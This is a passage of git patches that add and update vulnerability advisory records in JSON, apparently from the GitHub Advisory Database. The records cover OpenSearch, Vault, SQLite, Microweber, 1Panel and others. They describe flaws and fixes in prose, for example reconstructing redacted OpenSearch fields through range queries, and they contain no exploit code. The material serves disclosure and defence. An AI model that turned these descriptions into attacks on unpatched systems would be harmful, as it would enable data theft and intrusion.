+ "name": "github.com/1Panel-dev/1Panel/core"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.0.0-20250730021757-04b9cbd87a15"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-8j63-96wh-wh3j"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/1Panel-dev/1Panel"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-295"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:10:21Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From d905c528855ad2a443f5a1f13a2209f1c074be25 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:16:58 +0000
Subject: [PATCH 297/323] Publish Advisories
GHSA-2rjv-cv85-xhgm
GHSA-rrmm-wq7q-h4v5
---
.../GHSA-2rjv-cv85-xhgm.json | 55 +++++++++++++++++++
.../GHSA-rrmm-wq7q-h4v5.json | 55 +++++++++++++++++++
2 files changed, 110 insertions(+)
create mode 100644 advisories/github-reviewed/2025/08/GHSA-2rjv-cv85-xhgm/GHSA-2rjv-cv85-xhgm.json
create mode 100644 advisories/github-reviewed/2025/08/GHSA-rrmm-wq7q-h4v5/GHSA-rrmm-wq7q-h4v5.json
diff --git a/advisories/github-reviewed/2025/08/GHSA-2rjv-cv85-xhgm/GHSA-2rjv-cv85-xhgm.json b/advisories/github-reviewed/2025/08/GHSA-2rjv-cv85-xhgm/GHSA-2rjv-cv85-xhgm.json
new file mode 100644
index 0000000000000..cdcdfadc793cf
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-2rjv-cv85-xhgm/GHSA-2rjv-cv85-xhgm.json
@@ -0,0 +1,55 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2rjv-cv85-xhgm",
+ "modified": "2025-08-01T18:15:03Z",
+ "published": "2025-08-01T18:15:03Z",
+ "aliases": [],
+ "summary": "OpenSearch unauthorized data access on fields protected by field level security if field is a member of an object",
+ "details": "### Impact\n\nOpenSearch versions 2.19.2 and earlier improperly apply Field Level Security (FLS) rules on fields which are not at the top level of the source document tree (i.e., which are members of a JSON object). \n\nIf an FLS exclusion rule (like `~object`) is applied to an object valued attribute in a source document, the object is properly removed from the `_source` document in search and get results. However, any member attribute of that object remains available to search queries. This allows to reconstruct the original field contents using range queries. \n\n### Patches\n\nThe issue has been resolved in OpenSearch 3.0.0 and OpenSearch 2.19.3.\n\n### Workarounds\n\nIf FLS exclusion rules are used for object valued attributes (like `~object`), add an additional exclusion rule for the members of the object (like `~object.*`).",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Maven",
+ "name": "org.opensearch.plugin:opensearch-security"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.19.3.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/opensearch-project/security/security/advisories/GHSA-2rjv-cv85-xhgm"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/opensearch-project/security"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:15:03Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/08/GHSA-rrmm-wq7q-h4v5/GHSA-rrmm-wq7q-h4v5.json b/advisories/github-reviewed/2025/08/GHSA-rrmm-wq7q-h4v5/GHSA-rrmm-wq7q-h4v5.json
new file mode 100644
index 0000000000000..8ee47bb1ff9dd
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-rrmm-wq7q-h4v5/GHSA-rrmm-wq7q-h4v5.json
@@ -0,0 +1,55 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rrmm-wq7q-h4v5",
+ "modified": "2025-08-01T18:15:01Z",
+ "published": "2025-08-01T18:15:00Z",
+ "aliases": [],
+ "summary": "OpenSearch unauthorized data access on fields protected by field masking for fields of type ip, geo_point, geo_shape, xy_point, xy_shape",
+ "details": "### Impact\n\nOpenSearch versions 2.19.2 and earlier improperly apply field masking rules on fields of the types `ip`, `geo_point`, `geo_shape`, `xy_point`, `xy_shape`. While the content of these fields is properly redacted in the `_source` document returned by search operations, the original unredacted values remain available to search queries. This allows to reconstruct the original field contents using range queries.\n\nAdditionally, the content of fields of type `geo_point`, `geo_shape`, `xy_point`, `xy_shape` is returned in an unredacted form if requested via the `fields` option of the search API.\n\n### Patches\n\nThe issue has been resolved in OpenSearch 3.0.0 and OpenSearch 2.19.3.\n\n### Workarounds\n\nIf you cannot upgrade immediately, you can avoid the problem by using field level security (FLS) protection on fields of the affected types instead of field masking.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Maven",
+ "name": "org.opensearch.plugin:opensearch-security"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.19.3.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/opensearch-project/security/security/advisories/GHSA-rrmm-wq7q-h4v5"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/opensearch-project/security"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:15:00Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From f97e37c64344ae06a1579eb607d903782df09370 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:32:50 +0000
Subject: [PATCH 298/323] Advisory Database Sync
---
.../GHSA-g8j6-3mwg-7x4g.json | 18 ++++++-
.../GHSA-4fj4-9m67-3mj3.json | 6 ++-
.../GHSA-pr9m-r5mr-v22j.json | 2 +-
.../GHSA-g2ph-wvc2-ph4v.json | 9 +++-
.../GHSA-fjrg-q598-j558.json | 3 +-
.../GHSA-jff4-5h8q-wpxm.json | 3 +-
.../GHSA-xv2q-4cq2-h5pc.json | 11 +++--
.../GHSA-2x2j-3c2v-g3c2.json | 44 +++++++++++++++++
.../GHSA-64m7-3j89-3cj8.json | 36 ++++++++++++++
.../GHSA-6c5r-4wfc-3mcx.json | 36 ++++++++++++++
.../GHSA-6h4p-m86h-hhgh.json | 36 ++++++++++++++
.../GHSA-7w87-cwwm-qff7.json | 44 +++++++++++++++++
.../GHSA-8258-pcw6-7gfq.json | 36 ++++++++++++++
.../GHSA-8357-fjvx-xrm8.json | 44 +++++++++++++++++
.../GHSA-8x5q-fmc6-r74x.json | 36 ++++++++++++++
.../GHSA-9847-xprf-x456.json | 36 ++++++++++++++
.../GHSA-99rf-9fx6-652g.json | 36 ++++++++++++++
.../GHSA-cg36-rxhq-p3j7.json | 36 ++++++++++++++
.../GHSA-cvrx-jhp7-38jf.json | 29 +++++++++++
.../GHSA-fjwp-5xr6-hvh5.json | 36 ++++++++++++++
.../GHSA-fmhj-j6r9-5m2p.json | 33 +++++++++++++
.../GHSA-fmp3-xxcc-559c.json | 48 +++++++++++++++++++
.../GHSA-h64g-vgvx-2m8r.json | 33 +++++++++++++
.../GHSA-j7gx-cwm7-5mxg.json | 33 +++++++++++++
.../GHSA-m523-xm42-q7ff.json | 15 ++++--
.../GHSA-mr4h-qf9j-f665.json | 36 ++++++++++++++
.../GHSA-mvj3-hc7j-vp74.json | 44 +++++++++++++++++
.../GHSA-mwgr-84fv-3jh9.json | 36 ++++++++++++++
.../GHSA-mxg3-45rj-wpf7.json | 40 ++++++++++++++++
.../GHSA-p3q2-74hc-43v3.json | 36 ++++++++++++++
.../GHSA-q2v9-7453-3jwf.json | 33 +++++++++++++
.../GHSA-q8q3-6g93-33hh.json | 36 ++++++++++++++
.../GHSA-qgj7-fmq2-6cc4.json | 36 ++++++++++++++
.../GHSA-qgm9-fp3r-vm5v.json | 40 ++++++++++++++++
.../GHSA-qh7w-62mf-364r.json | 40 ++++++++++++++++
.../GHSA-qv3p-fmv3-9hww.json | 36 ++++++++++++++
.../GHSA-rpv2-rq4j-p9m3.json | 37 ++++++++++++++
.../GHSA-v6qp-r53v-fvh5.json | 15 ++++--
.../GHSA-v6r4-35f9-9rpw.json | 36 ++++++++++++++
.../GHSA-xfj7-2jg6-3957.json | 40 ++++++++++++++++
.../GHSA-xfxw-gr8g-6h57.json | 36 ++++++++++++++
41 files changed, 1258 insertions(+), 18 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-64m7-3j89-3cj8/GHSA-64m7-3j89-3cj8.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-7w87-cwwm-qff7/GHSA-7w87-cwwm-qff7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8258-pcw6-7gfq/GHSA-8258-pcw6-7gfq.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8x5q-fmc6-r74x/GHSA-8x5q-fmc6-r74x.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-9847-xprf-x456/GHSA-9847-xprf-x456.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-99rf-9fx6-652g/GHSA-99rf-9fx6-652g.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-cg36-rxhq-p3j7/GHSA-cg36-rxhq-p3j7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-fjwp-5xr6-hvh5/GHSA-fjwp-5xr6-hvh5.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-fmp3-xxcc-559c/GHSA-fmp3-xxcc-559c.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-h64g-vgvx-2m8r/GHSA-h64g-vgvx-2m8r.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-j7gx-cwm7-5mxg/GHSA-j7gx-cwm7-5mxg.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mxg3-45rj-wpf7/GHSA-mxg3-45rj-wpf7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-p3q2-74hc-43v3/GHSA-p3q2-74hc-43v3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q2v9-7453-3jwf/GHSA-q2v9-7453-3jwf.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q8q3-6g93-33hh/GHSA-q8q3-6g93-33hh.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-qgm9-fp3r-vm5v/GHSA-qgm9-fp3r-vm5v.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-qh7w-62mf-364r/GHSA-qh7w-62mf-364r.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-rpv2-rq4j-p9m3/GHSA-rpv2-rq4j-p9m3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xfj7-2jg6-3957/GHSA-xfj7-2jg6-3957.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xfxw-gr8g-6h57/GHSA-xfxw-gr8g-6h57.json
diff --git a/advisories/unreviewed/2024/11/GHSA-g8j6-3mwg-7x4g/GHSA-g8j6-3mwg-7x4g.json b/advisories/unreviewed/2024/11/GHSA-g8j6-3mwg-7x4g/GHSA-g8j6-3mwg-7x4g.json
index 7423dad5aef25..e0af685aa74fd 100644
--- a/advisories/unreviewed/2024/11/GHSA-g8j6-3mwg-7x4g/GHSA-g8j6-3mwg-7x4g.json
+++ b/advisories/unreviewed/2024/11/GHSA-g8j6-3mwg-7x4g/GHSA-g8j6-3mwg-7x4g.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-g8j6-3mwg-7x4g",
- "modified": "2024-11-18T18:30:57Z",
+ "modified": "2025-08-01T18:31:10Z",
"published": "2024-11-18T18:30:57Z",
"aliases": [
"CVE-2021-1440"
@@ -18,6 +18,22 @@
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1440"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-webui-gQLSFyPM"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-sma-info-disclo-VOu2GHbZ"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-sigverbypass-gPYXd6Mk"
+ },
+ {
+ "type": "WEB",
+ "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-xrbgp-rpki-dos-gvmjqxbk"
}
],
"database_specific": {
diff --git a/advisories/unreviewed/2025/03/GHSA-4fj4-9m67-3mj3/GHSA-4fj4-9m67-3mj3.json b/advisories/unreviewed/2025/03/GHSA-4fj4-9m67-3mj3/GHSA-4fj4-9m67-3mj3.json
index 3ccaea824226c..12509aae95d25 100644
--- a/advisories/unreviewed/2025/03/GHSA-4fj4-9m67-3mj3/GHSA-4fj4-9m67-3mj3.json
+++ b/advisories/unreviewed/2025/03/GHSA-4fj4-9m67-3mj3/GHSA-4fj4-9m67-3mj3.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-4fj4-9m67-3mj3",
- "modified": "2025-03-28T18:33:36Z",
+ "modified": "2025-08-01T18:31:13Z",
"published": "2025-03-28T18:33:36Z",
"aliases": [
"CVE-2025-2713"
],
"details": "Google gVisor's runsc component exhibited a local privilege escalation vulnerability due to incorrect handling of file access permissions, which allowed unprivileged users to access restricted files. This occurred because the process initially ran with root-like permissions until the first fork.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/03/GHSA-pr9m-r5mr-v22j/GHSA-pr9m-r5mr-v22j.json b/advisories/unreviewed/2025/03/GHSA-pr9m-r5mr-v22j/GHSA-pr9m-r5mr-v22j.json
index 331a5f48996b0..30ee515728943 100644
--- a/advisories/unreviewed/2025/03/GHSA-pr9m-r5mr-v22j/GHSA-pr9m-r5mr-v22j.json
+++ b/advisories/unreviewed/2025/03/GHSA-pr9m-r5mr-v22j/GHSA-pr9m-r5mr-v22j.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-pr9m-r5mr-v22j",
- "modified": "2025-03-27T00:31:49Z",
+ "modified": "2025-08-01T18:31:12Z",
"published": "2025-03-27T00:31:49Z",
"aliases": [
"CVE-2025-20230"
diff --git a/advisories/unreviewed/2025/04/GHSA-g2ph-wvc2-ph4v/GHSA-g2ph-wvc2-ph4v.json b/advisories/unreviewed/2025/04/GHSA-g2ph-wvc2-ph4v/GHSA-g2ph-wvc2-ph4v.json
index 6eb8bcfd44e7c..fd049f4359c4a 100644
--- a/advisories/unreviewed/2025/04/GHSA-g2ph-wvc2-ph4v/GHSA-g2ph-wvc2-ph4v.json
+++ b/advisories/unreviewed/2025/04/GHSA-g2ph-wvc2-ph4v/GHSA-g2ph-wvc2-ph4v.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-g2ph-wvc2-ph4v",
- "modified": "2025-04-14T18:31:49Z",
+ "modified": "2025-08-01T18:31:14Z",
"published": "2025-04-14T18:31:49Z",
"aliases": [
"CVE-2025-3277"
],
"details": "An integer overflow can be triggered in SQLite’s `concat_ws()` function. The resulting, truncated integer is then used to allocate a buffer. When SQLite then writes the resulting string to the buffer, it uses the original, untruncated size and thus a wild Heap Buffer overflow of size ~4GB can be triggered. This can result in arbitrary code execution.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
@@ -26,7 +30,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-122"
+ "CWE-122",
+ "CWE-190"
],
"severity": "MODERATE",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/07/GHSA-fjrg-q598-j558/GHSA-fjrg-q598-j558.json b/advisories/unreviewed/2025/07/GHSA-fjrg-q598-j558/GHSA-fjrg-q598-j558.json
index 6bb0879802850..98f717321badf 100644
--- a/advisories/unreviewed/2025/07/GHSA-fjrg-q598-j558/GHSA-fjrg-q598-j558.json
+++ b/advisories/unreviewed/2025/07/GHSA-fjrg-q598-j558/GHSA-fjrg-q598-j558.json
@@ -50,7 +50,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-20"
+ "CWE-20",
+ "CWE-502"
],
"severity": "MODERATE",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/07/GHSA-jff4-5h8q-wpxm/GHSA-jff4-5h8q-wpxm.json b/advisories/unreviewed/2025/07/GHSA-jff4-5h8q-wpxm/GHSA-jff4-5h8q-wpxm.json
index b0bd5e4abf36e..3d0cc08aea5da 100644
--- a/advisories/unreviewed/2025/07/GHSA-jff4-5h8q-wpxm/GHSA-jff4-5h8q-wpxm.json
+++ b/advisories/unreviewed/2025/07/GHSA-jff4-5h8q-wpxm/GHSA-jff4-5h8q-wpxm.json
@@ -58,7 +58,8 @@
],
"database_specific": {
"cwe_ids": [
- "CWE-404"
+ "CWE-404",
+ "CWE-476"
],
"severity": "MODERATE",
"github_reviewed": false,
diff --git a/advisories/unreviewed/2025/07/GHSA-xv2q-4cq2-h5pc/GHSA-xv2q-4cq2-h5pc.json b/advisories/unreviewed/2025/07/GHSA-xv2q-4cq2-h5pc/GHSA-xv2q-4cq2-h5pc.json
index a6c5d2ac9e2f0..bbff68dd2a05a 100644
--- a/advisories/unreviewed/2025/07/GHSA-xv2q-4cq2-h5pc/GHSA-xv2q-4cq2-h5pc.json
+++ b/advisories/unreviewed/2025/07/GHSA-xv2q-4cq2-h5pc/GHSA-xv2q-4cq2-h5pc.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-xv2q-4cq2-h5pc",
- "modified": "2025-07-30T00:32:23Z",
+ "modified": "2025-08-01T18:31:16Z",
"published": "2025-07-30T00:32:23Z",
"aliases": [
"CVE-2025-43276"
],
"details": "A logic error was addressed with improved error handling. This issue is fixed in macOS Sequoia 15.6. iCloud Private Relay may not activate when more than one user is logged in at the same time.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -21,7 +26,7 @@
],
"database_specific": {
"cwe_ids": [],
- "severity": null,
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-30T00:15:38Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json b/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
new file mode 100644
index 0000000000000..c94437cbf4848
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2x2j-3c2v-g3c2",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-51504"
+ ],
+ "details": "Microweber CMS 2.0 is vulnerable to Cross Site Scripting (XSS)in the /projects/profile, homepage endpoint via the last name field.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51504"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51504"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BLive%20Panel%5D%20Stored%20XSS%20in%20profile%20path.md"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T17:15:52Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-64m7-3j89-3cj8/GHSA-64m7-3j89-3cj8.json b/advisories/unreviewed/2025/08/GHSA-64m7-3j89-3cj8/GHSA-64m7-3j89-3cj8.json
new file mode 100644
index 0000000000000..a7f520cab9d9b
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-64m7-3j89-3cj8/GHSA-64m7-3j89-3cj8.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-64m7-3j89-3cj8",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8474"
+ ],
+ "details": "Alpine iLX-507 CarPlay Stack-based Buffer Overflow Code Execution Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the Apple CarPlay protocol. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26318.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8474"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-763"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json b/advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
new file mode 100644
index 0000000000000..dec6b605c68a5
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6c5r-4wfc-3mcx",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6037"
+ ],
+ "details": "Vault and Vault Enterprise (“Vault”) TLS certificate auth method did not correctly validate client certificates when configured with a non-CA certificate as [+trusted certificate+|https://developer.hashicorp.com/vault/api-docs/auth/cert#certificate]. In this configuration, an attacker may be able to craft a malicious certificate that could be used to impersonate another user. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6037"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-18-vault-certificate-auth-method-did-not-validate-common-name-for-non-ca-certificates/76037"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-295"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json b/advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
new file mode 100644
index 0000000000000..8cb8685f380d8
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6h4p-m86h-hhgh",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-5999"
+ ],
+ "details": "A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their own or another user’s token privileges to Vault’s root policy. Fixed in Vault Community Edition 1.20.0 and Vault Enterprise 1.20.0, 1.19.6, 1.18.11 and 1.16.22.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5999"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-13-vault-root-namespace-operator-may-elevate-token-privileges/76032"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-266"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:56Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-7w87-cwwm-qff7/GHSA-7w87-cwwm-qff7.json b/advisories/unreviewed/2025/08/GHSA-7w87-cwwm-qff7/GHSA-7w87-cwwm-qff7.json
new file mode 100644
index 0000000000000..d54d2eb9d6b5d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7w87-cwwm-qff7/GHSA-7w87-cwwm-qff7.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7w87-cwwm-qff7",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-45150"
+ ],
+ "details": "Insecure permissions in LangChain-ChatGLM-Webui commit ef829 allows attackers to arbitrarily view and download sensitive files via supplying a crafted request.",
+ "severity": [
+ {
